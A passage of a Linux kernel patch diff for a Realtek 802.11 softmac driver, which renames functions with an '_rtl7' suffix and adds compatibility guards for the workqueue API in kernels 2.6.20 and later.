len,rate_len; u8 *tag; @@ -228,7 +228,7 @@ len = ieee->current_network.ssid_len; - rate_len = ieee80211_MFIE_rate_len(ieee); + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); @@ -251,21 +251,21 @@ memcpy(tag, ieee->current_network.ssid, len); tag += len; - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; unsigned long flags; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } @@ -279,37 +279,37 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - skb = ieee80211_probe_req(ieee); + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; @@ -349,7 +349,7 @@ ieee->set_chan(ieee->dev, ch); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. @@ -384,11 +384,17 @@ } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; + down(&ieee->scan_sem); do{ ieee->current_network.channel = @@ -402,7 +408,7 @@ goto out; ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); #if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,25 +459,25 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { // unsigned long flags; @@ -490,22 +496,22 @@ up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); @@ -513,18 +519,18 @@ } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { struct sk_buff *skb; @@ -557,7 +563,7 @@ } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -578,7 +584,7 @@ else atim_len = 0; - if(ieee80211_is_54g(ieee->current_network)) + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; @@ -664,7 +670,7 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; @@ -673,7 +679,7 @@ struct ieee80211_assoc_response_frame *assoc; short encrypt; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; skb = dev_alloc_skb(len); @@ -711,13 +717,13 @@ tag = (u8*) skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; @@ -744,7 +750,7 @@ } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; @@ -770,35 +776,35 @@ } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; @@ -807,7 +813,7 @@ unsigned int wpa_len = beacon->wpa_ie_len; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); @@ -848,8 +854,8 @@ tag = skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); tag = skb_put(skb,wpa_len); @@ -858,7 +864,7 @@ return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -887,13 +893,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; @@ -901,20 +907,20 @@ IEEE80211_DEBUG_MGMT("Stopping scan\n"); ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { u8 *c; struct sk_buff *skb; @@ -924,9 +930,9 @@ ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; @@ -935,16 +941,16 @@ IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; @@ -954,20 +960,26 @@ IEEE80211_DEBUG_MGMT("Sending association request\n"); ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; @@ -977,13 +989,13 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); @@ -995,24 +1007,29 @@ queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); + ieee80211_associate_step1_rtl7(ieee); up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; @@ -1079,7 +1096,7 @@ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1095,14 +1112,13 @@ } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct ieee80211_network *target; spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { /* if the state become different that NOLINK means @@ -1112,7 +1128,7 @@ break; //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } spin_unlock_irqrestore(&ieee->lock, flags); @@ -1120,7 +1136,7 @@ } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; @@ -1145,7 +1161,7 @@ } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; @@ -1163,7 +1179,7 @@ return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; @@ -1201,7 +1217,7 @@ } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; @@ -1219,7 +1235,7 @@ return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ @@ -1233,45 +1249,45 @@ } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //unsigned long flags; ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); @@ -1285,18 +1301,18 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); } -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) { int timeout = ieee->ps_timeout; u8 dtim; @@ -1343,7 +1359,7 @@ } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; @@ -1360,12 +1376,12 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee, 1); + ieee80211_sta_wakeup_rtl7(ieee, 1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; @@ -1386,7 +1402,7 @@ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee,1); + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); ieee->ps_th = th; ieee->ps_tl = tl; @@ -1400,7 +1416,7 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee,1); + ieee80211_sta_wakeup_rtl7(ieee,1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } @@ -1410,13 +1426,13 @@ } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; @@ -1429,11 +1445,11 @@ if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; @@ -1454,7 +1470,7 @@ if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,17 +1478,18 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; @@ -1496,19 +1513,19 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - ieee80211_associate_complete(ieee); + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; @@ -1519,7 +1536,7 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - ieee80211_rx_assoc_rq(ieee, skb); + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_AUTH: @@ -1530,23 +1547,23 @@ IEEE80211_DEBUG_MGMT("Received authentication response"); - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - ieee80211_associate_step2(ieee); + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; @@ -1558,7 +1575,7 @@ ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - ieee80211_rx_probe_rq(ieee, skb); + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_DISASSOC: @@ -1573,8 +1590,8 @@ ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } @@ -1610,7 +1627,7 @@ * to the driver later, when it wakes the queue. */ -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { @@ -1643,7 +1660,7 @@ #endif /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { @@ -1662,7 +1679,7 @@ } } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); exit: spin_unlock_irqrestore(&ieee->lock,flags); @@ -1670,7 +1687,7 @@ } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { @@ -1690,19 +1707,19 @@ } - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,7 +1727,7 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -1723,7 +1740,7 @@ ieee->queue_stop = 0; if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ header = (struct ieee80211_hdr_3addr *) skb->data; @@ -1738,7 +1755,7 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); + ieee80211_resume_tx_rtl7(ieee); if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; @@ -1750,7 +1767,7 @@ } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1765,7 +1782,7 @@ } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { get_random_bytes(ieee->current_network.bssid, ETH_ALEN); @@ -1778,7 +1795,7 @@ } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; @@ -1796,7 +1813,7 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1804,7 +1821,7 @@ netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ @@ -1814,8 +1831,15 @@ netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET @@ -1834,7 +1858,7 @@ } /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after @@ -1851,13 +1875,13 @@ * 